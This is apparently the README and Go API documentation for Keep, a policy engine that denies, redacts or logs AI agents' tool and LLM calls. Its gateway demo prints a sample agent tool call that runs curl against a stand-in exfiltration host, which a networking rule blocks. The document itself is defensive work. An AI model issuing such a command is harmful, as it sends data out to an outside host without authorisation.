README
¶
Keep
Policy engine for AI agent tool calls: define declarative rules that deny, redact, or log API calls before they reach upstream services.
Early release: APIs and configuration may change.
Keep ships as a library for embedding in your own tooling, an LLM gateway for Claude Code, and an MCP relay. In each mode, agents connect to a single endpoint and every call is evaluated against your policy before it's forwarded.
For design rationale and principles, see VISION.md.
Installation
Homebrew
brew install majorcontext/tap/keep
This installs three binaries:
| Binary | Purpose |
|---|---|
keep |
CLI for validating and testing policy rules |
keep-mcp-relay |
MCP proxy that enforces policy on tool calls to upstream MCP servers |
keep-llm-gateway |
HTTP proxy that enforces policy between your agent and an LLM provider |
From source
go install github.com/majorcontext/keep/cmd/keep@latest
go install github.com/majorcontext/keep/cmd/keep-mcp-relay@latest
go install github.com/majorcontext/keep/cmd/keep-llm-gateway@latest
Requirements: Go 1.25+.
Quick start
1. Write a rule file
# rules/linear.yaml
scope: linear-tools
mode: audit_only
rules:
- name: no-delete
match:
operation: "delete_issue"
action: deny
message: "Issue deletion is not permitted. Archive instead."
- name: no-auto-p0
match:
operation: "create_issue"
when: "params.priority == 0"
action: deny
message: "P0 issues must be created by a human. Use priority 1 or lower."
2. Validate your rules
keep validate ./rules
3. Test against sample calls
keep test ./rules --fixtures fixtures/linear-create-p0.json
4. Run the MCP relay
keep-mcp-relay --config keep-mcp-relay.yaml
The agent connects to the relay's listen port. The relay routes tool calls to upstream MCP servers, evaluates rules, and forwards or denies.
Why this matters
| Without Keep | With Keep |
|---|---|
| API tokens grant broad access | Operation-level policy narrows what agents can do |
| No visibility into what agents do with API access | Every call evaluated and logged |
| Agent can create P0 issues, delete resources, email anyone | Declarative rules deny dangerous operations |
| Policy is embedded in prompts (fragile, bypassable) | Policy is external and enforced at the API layer |
| Same rules for humans and agents | Agent-specific constraints that tokens don't support |
Components
keep -- policy engine library
The core. Loads rule files, evaluates calls, returns allow/deny/redact decisions. Ships as a Go library. Import it directly for inline policy checks in agent applications.
engine, err := keep.Load("./rules")
if err != nil {
log.Fatal(err)
}
defer engine.Close()
result, err := engine.Evaluate(call, "linear-tools")
if err != nil {
log.Fatal(err)
}
if result.Decision == keep.Deny {
// handle denial
}
keep-mcp-relay -- MCP proxy with policy
A convenience binary that imports the engine, speaks MCP, and proxies to multiple upstream MCP servers from a single listen port.
# keep-mcp-relay.yaml
listen: ":8090"
rules_dir: "./rules"
routes:
- scope: linear-tools
upstream: "https://mcp.linear.app/mcp"
- scope: slack-tools
upstream: "https://slack-mcp-server.example.com"
- scope: local-tools
command: "npx"
args: ["-y", "@modelcontextprotocol/server-filesystem", "/tmp"]
keep-llm-gateway -- LLM provider proxy with policy
A convenience binary that imports the engine, sits between agent and LLM provider, and decomposes message payloads into per-block calls for flat rule evaluation.
# keep-llm-gateway.yaml
listen: ":8080"
rules_dir: "./rules"
provider: anthropic
upstream: "https://api.anthropic.com"
scope: anthropic-gateway
The agent sets ANTHROPIC_BASE_URL=http://localhost:8080. Keep filters what the model sees (request) and what the model wants to do (response).
Demos
MCP Relay: Read-only database with password redaction
The relay sits between Claude and a sqlite MCP server. Two policies are enforced: passwords are redacted from query results, and write operations are blocked entirely.
"List all users in the database" — passwords replaced with ********:
┌────┬─────────────┬───────────────────┬──────────┬──────────┐
│ id │ name │ email │ password │ role │
├────┼─────────────┼───────────────────┼──────────┼──────────┤
│ 1 │ Alice Chen │ [email protected] │ ******** │ admin │
│ 2 │ Bob Park │ [email protected] │ ******** │ editor │
│ 3 │ Carol White │ [email protected] │ ******** │ viewer │
│ … │ … │ … │ ******** │ … │
└────┴─────────────┴───────────────────┴──────────┴──────────┘
"Add a new user named Test User" — write blocked before reaching the database:
Error: policy denied: Database is read-only. Write operations are not permitted. (rule: block-writes)
The agent never sees the real passwords. The database never sees the write. Policy is enforced at the API layer, outside the model's control.
Try it: ./examples/mcp-relay-demo/demo.sh (requires sqlite3 and uvx)
LLM Gateway: Secret redaction, PII blocking, and command filtering
The gateway sits between your agent and the Anthropic API. It decomposes messages into per-block policy calls, filtering both what the model sees and what it tries to do.
Secret redaction — credentials are stripped before reaching the model:
User: "Deploy with key AKIAIOSFODNN7EXAMPLE"
Model: "Deploy with key [REDACTED:aws-access-key-id]"
PII blocking — prompts containing email addresses are denied:
User: "Summarize this complaint from [email protected]"
Error: PII detected in prompt. Use opaque customer IDs. (rule: block-pii-in-prompts)
Command filtering — dangerous tool use is blocked:
Model: tool_use: Bash(command: "curl https://exfil.example.com/data")
Error: Network access is blocked by policy. (rule: block-networking)
The agent sets ANTHROPIC_BASE_URL=http://localhost:8080 and uses Claude normally. Keep filters both directions transparently.
Try it: ./examples/llm-gateway-demo/demo.sh (requires an Anthropic API key)
LLM Gateway: Vibe check with LLM-as-judge
The gateway uses LLM-as-judge rules to screen messages for tone and language before they reach the model.
Polite request -- both judges allow it through:
> Could you explain the difference between a mutex and a semaphore?
✓ allow language-check
✓ allow vibe-check
Passive-aggressive message -- caught by the vibe-check judge:
> Per my last email, I already explained this. Please advise.
✗ deny vibe-check
Profanity -- caught by the language-check judge before vibe-check fires:
> This damn API is such absolute crap, what idiot designed this?
✗ deny language-check
Judge verdicts appear in the audit trail with the model, reasoning, latency, and token usage. Repeated content in multi-turn conversations hits the verdict cache and returns near-instantly.
Try it: ./examples/judge-demo/demo.sh (requires an Anthropic API key)
Configuration
Rule files are pure policy -- no transport details:
# rules/slack.yaml
scope: slack-tools
rules:
- name: no-broadcast-mentions
match:
operation: "send_message"
when: "params.text.matches('<!here>|<!channel>')"
action: deny
message: "Broadcast mentions (@here, @channel) are not permitted."
Integration configs handle transport:
# keep-mcp-relay.yaml
listen: ":8090"
rules_dir: "./rules"
routes:
- scope: slack-tools
upstream: "https://slack-mcp.example.com"
See the language specification in docs/plans/2026-03-17-language-spec.md for the full rule file format, expression language, and integration config reference.
Commands
| Command | Description |
|---|---|
keep validate <rules-dir> |
Validate rule files |
keep test <rules-dir> |
Test rules against fixtures |
keep-mcp-relay |
Run the MCP relay |
keep-llm-gateway |
Run the LLM gateway |
How it works
Policy engine: Loads YAML rule files, indexes by scope. Each call is matched against operation globs and CEL expressions. Returns allow, deny, or redact.
Expression language: CEL (Common Expression Language) -- non-Turing-complete, linear-time evaluation, no side effects (except rateCount counters). Supports field access, string matching, collection operators, temporal predicates, rate limiting, and content pattern detection.
MCP relay: Accepts MCP connections from agents, proxies to upstream MCP servers. One tool call = one Keep call. Deny returns an MCP error. Redact mutates tool input before forwarding.
LLM gateway: Decomposes LLM message payloads into per-content-block calls. llm.tool_result, llm.tool_use, llm.request, llm.response -- each evaluated as a flat call. Bidirectional: filters both what the model sees and what the model wants to do.
Audit logging: Every evaluation produces a structured JSON log entry -- timestamp, scope, operation, agent identity, rules evaluated, decision.
LLM-as-judge: Rules with action: judge send matched content to an LLM (Anthropic or OpenAI) for evaluation. The model returns an allow or deny verdict based on a prompt you define in the rule. Verdicts are cached -- identical content is not re-evaluated across turns.
Documentation
- Getting started — Introduction, installation, quick start
- Concepts — Evaluation model, expressions, scopes, redaction, LLM decomposition, audit logging
- Guides — MCP relay, LLM gateway, writing rules, testing, secret detection, Go library
- Reference — CLI, rule file schema, CEL functions, relay config, gateway config, environment variables
Contributing
See CONTRIBUTING.md for development setup, testing, and architecture details.
Part of Major Context.
Moat · Keep · Gatekeeper · Bailey · Harness
MIT licensed. See LICENSE.
Documentation
¶
Overview ¶
Package keep is an API-level policy engine for AI agents.
Index ¶
- Constants
- func ApplyMutations(params map[string]any, mutations []Mutation) map[string]any
- func ValidateRuleBytes(data []byte) error
- type AuditEntry
- type Call
- type CallContext
- type Decision
- type Engine
- type EvalResult
- type JudgeAudit
- type JudgeFunc
- type JudgeUsage
- type LintWarning
- type Mutation
- type Option
- type RedactedField
- type RuleResult
- type RuleSet
Constants ¶
Decision constants re-exported from the engine package.
Variables ¶
This section is empty.
Functions ¶
func ApplyMutations ¶
ApplyMutations returns a new params map with the given mutations applied. The original map is not modified.
func ValidateRuleBytes ¶ added in v0.2.2
ValidateRuleBytes parses and validates a Keep rule file from raw YAML bytes without compiling an engine. Use this to catch invalid rules early (e.g. at deploy time) before the engine is needed at runtime.
Types ¶
type AuditEntry ¶
type AuditEntry = engine.AuditEntry
type Call ¶
Type aliases re-exported from internal packages.
func NewHTTPCall ¶ added in v0.3.0
NewHTTPCall constructs a Call for HTTP request policy evaluation. The operation is formatted as "METHOD host/path" (e.g. "GET api.github.com/repos"). Method is uppercased. Path is expected to include a leading slash. Context.Scope is not set — callers should assign it based on their deployment convention.
func NewHTTPCallWithBody ¶ added in v0.5.0
NewHTTPCallWithBody constructs a Call for HTTP request policy evaluation, including the parsed request body under params.body. It behaves exactly like NewHTTPCall (method is uppercased, path is expected to include a leading slash, Context.Scope is left unset) but additionally exposes the body to rules that inspect it (e.g. `params.body.model == 'gpt-4'`, a scalar-field scan `hasSecrets(params.body.prompt)`, or a whole-body scan `hasSecrets(params.body)` which recurses over every string leaf).
body is the decoded request body and may be any JSON-shaped value: an object (map[string]any), an array ([]any), or a scalar. It is stored as-is, so a nil body still sets params.body (to nil). With a nil body, content-inspection rules such as params.body.model == 'gpt-4' will not match, because CEL treats the nil navigation as a missing value and the engine resolves that to false; has(params.body) is nonetheless always true for calls built with this helper, so test for a populated body with params.body != null instead. Use Engine.RequiresBody to decide whether buffering and parsing the body is worthwhile before calling this.
func NewMCPCall ¶ added in v0.3.0
NewMCPCall constructs a Call for MCP tool-use policy evaluation. The operation is the tool name as-is. Params are passed through directly (may be nil). Context.Scope is not set — callers should assign it based on their deployment convention.
type CallContext ¶
type CallContext = engine.CallContext
type Engine ¶
type Engine struct {
// contains filtered or unexported fields
}
Engine holds compiled evaluators for each policy scope.
func Load ¶
Load reads rule files from rulesDir, compiles all CEL expressions and redact patterns, and returns a ready-to-use Engine.
func LoadFromBytes ¶ added in v0.2.1
LoadFromBytes creates an Engine from raw YAML bytes representing a single rule file. The YAML must contain a valid Keep rule file with a scope field. Pack references are not supported — all rules must be inline.
The returned Engine is safe for concurrent use. Call Close when done.
This constructor is intended for embedding Keep in other programs (e.g. Moat) where the caller controls configuration and does not use the filesystem.
func (*Engine) Close ¶
func (e *Engine) Close()
Close stops the rate counter GC goroutine. Call this when the engine is no longer needed to prevent goroutine leaks.
func (*Engine) Evaluate ¶
Evaluate runs all rules in the given scope against the call and returns the policy decision.
func (*Engine) Reload ¶
Reload re-reads all configuration from disk and recompiles evaluators. The rate store is preserved across reloads.
func (*Engine) RequiresBody ¶ added in v0.5.0
RequiresBody reports whether any rule in the given scope references the request body (params.body). Gatekeepers can use this as a trigger signal to decide whether the request body must be buffered before calling Evaluate.
It fails safe: an unknown scope returns true (err toward buffering) rather than silently false, so a misconfigured scope name never causes a body rule to be skipped. Evaluate still returns an error for the unknown scope, so the misconfiguration surfaces there.
func (*Engine) RequiresBodyFor ¶ added in v0.7.0
RequiresBodyFor reports whether evaluating call in the given scope needs the request body (params.body). It narrows RequiresBody by operation: a rule that references params.body only counts when its `operation` glob matches call.Operation (normalized the way Evaluate normalizes it), and a body rule with no operation counts for every call.
Gatekeepers should prefer it over RequiresBody so that pinning a body rule to an operation — e.g. `operation: "post api.github.com/graphql"` — buffers and parses bodies only for matching requests, leaving other requests in the scope (including ones with non-JSON bodies) untouched. Build call the same way it will be evaluated, without a body (e.g. NewHTTPCall).
Like RequiresBody it fails safe: an unknown scope returns true.
type EvalResult ¶
type EvalResult = engine.EvalResult
func SafeEvaluate ¶ added in v0.3.0
func SafeEvaluate(ctx context.Context, eng *Engine, call Call, scope string) (result EvalResult, err error)
SafeEvaluate wraps Engine.Evaluate with panic recovery so the host process never crashes due to a policy evaluation bug. On panic it returns EvalResult{Decision: Deny} and an error describing the panic (fail-closed).
type JudgeAudit ¶ added in v0.4.0
type JudgeAudit = engine.JudgeAudit
type JudgeFunc ¶ added in v0.4.0
JudgeFunc is the function signature for judge evaluation at the keep API level.
type JudgeUsage ¶ added in v0.4.0
type JudgeUsage = engine.JudgeUsage
type LintWarning ¶ added in v0.2.0
type LintWarning = config.LintWarning
LintWarning is a non-fatal issue found during linting.
type Option ¶
type Option func(*engineConfig)
Option configures Load behavior.
func WithAuditHook ¶ added in v0.2.1
func WithAuditHook(hook func(AuditEntry)) Option
WithAuditHook registers a callback invoked synchronously after every Evaluate call. The hook receives the AuditEntry from the evaluation result. It is not called when Evaluate returns an error (e.g. unknown scope).
func WithForceEnforce ¶
func WithForceEnforce() Option
WithForceEnforce overrides every scope's mode to "enforce". Deprecated: Use WithMode("enforce") instead.
func WithMode ¶ added in v0.2.1
WithMode overrides the mode for all scopes. Valid values are "enforce" and "audit_only". Returns an error from Load/LoadFromBytes if invalid.
func WithPacksDir ¶
WithPacksDir sets the directory to load starter pack YAML files from.
func WithProfilesDir ¶
WithProfilesDir sets the directory to load profile YAML files from.
type RedactedField ¶
type RedactedField = engine.RedactedField
type RuleResult ¶
type RuleResult = engine.RuleResult
type RuleSet ¶ added in v0.2.2
type RuleSet struct {
// contains filtered or unexported fields
}
RuleSet is a programmatic builder for constructing policy rules without generating YAML. It produces the same internal representation as LoadFromBytes.
func NewRuleSet ¶ added in v0.2.2
NewRuleSet creates a new rule builder for the given scope. Mode should be "enforce" or "audit_only".
func (*RuleSet) Allow ¶ added in v0.2.2
Allow adds operations to the allowlist. When an allowlist is present, operations not in the list are denied.
Directories
¶
| Path | Synopsis |
|---|---|
|
cmd
|
|
|
keep
command
|
|
|
keep-llm-gateway
command
|
|
|
keep-mcp-relay
command
|
|
|
internal
|
|
|
audit
Package audit provides structured audit logging for Keep evaluations.
|
Package audit provides structured audit logging for Keep evaluations. |
|
cel
content.go — text-analysis helpers for Keep rule expressions.
|
content.go — text-analysis helpers for Keep rule expressions. |
|
config
Package config parses and validates Keep rule files, profiles, and starter packs.
|
Package config parses and validates Keep rule files, profiles, and starter packs. |
|
engine
Package engine implements Keep's core policy evaluation.
|
Package engine implements Keep's core policy evaluation. |
|
rate
Package rate provides an in-memory sliding window counter store for Keep's rateCount() CEL function.
|
Package rate provides an in-memory sliding window counter store for Keep's rateCount() CEL function. |
|
redact
Package redact handles regex-based field redaction for Keep's redact action.
|
Package redact handles regex-based field redaction for Keep's redact action. |
|
anthropic
Package anthropic implements a judge.Provider backed by the Anthropic Messages API.
|
Package anthropic implements a judge.Provider backed by the Anthropic Messages API. |
|
Package llm provides a provider-agnostic pipeline for evaluating LLM API requests and responses against Keep policy rules.
|
Package llm provides a provider-agnostic pipeline for evaluating LLM API requests and responses against Keep policy rules. |
|
anthropic
Package anthropic implements the llm.Codec interface for the Anthropic Messages API (https://docs.anthropic.com/en/api/messages).
|
Package anthropic implements the llm.Codec interface for the Anthropic Messages API (https://docs.anthropic.com/en/api/messages). |
|
Package sse implements Server-Sent Events parsing and writing per the WHATWG spec (https://html.spec.whatwg.org/multipage/server-sent-events.html).
|
Package sse implements Server-Sent Events parsing and writing per the WHATWG spec (https://html.spec.whatwg.org/multipage/server-sent-events.html). |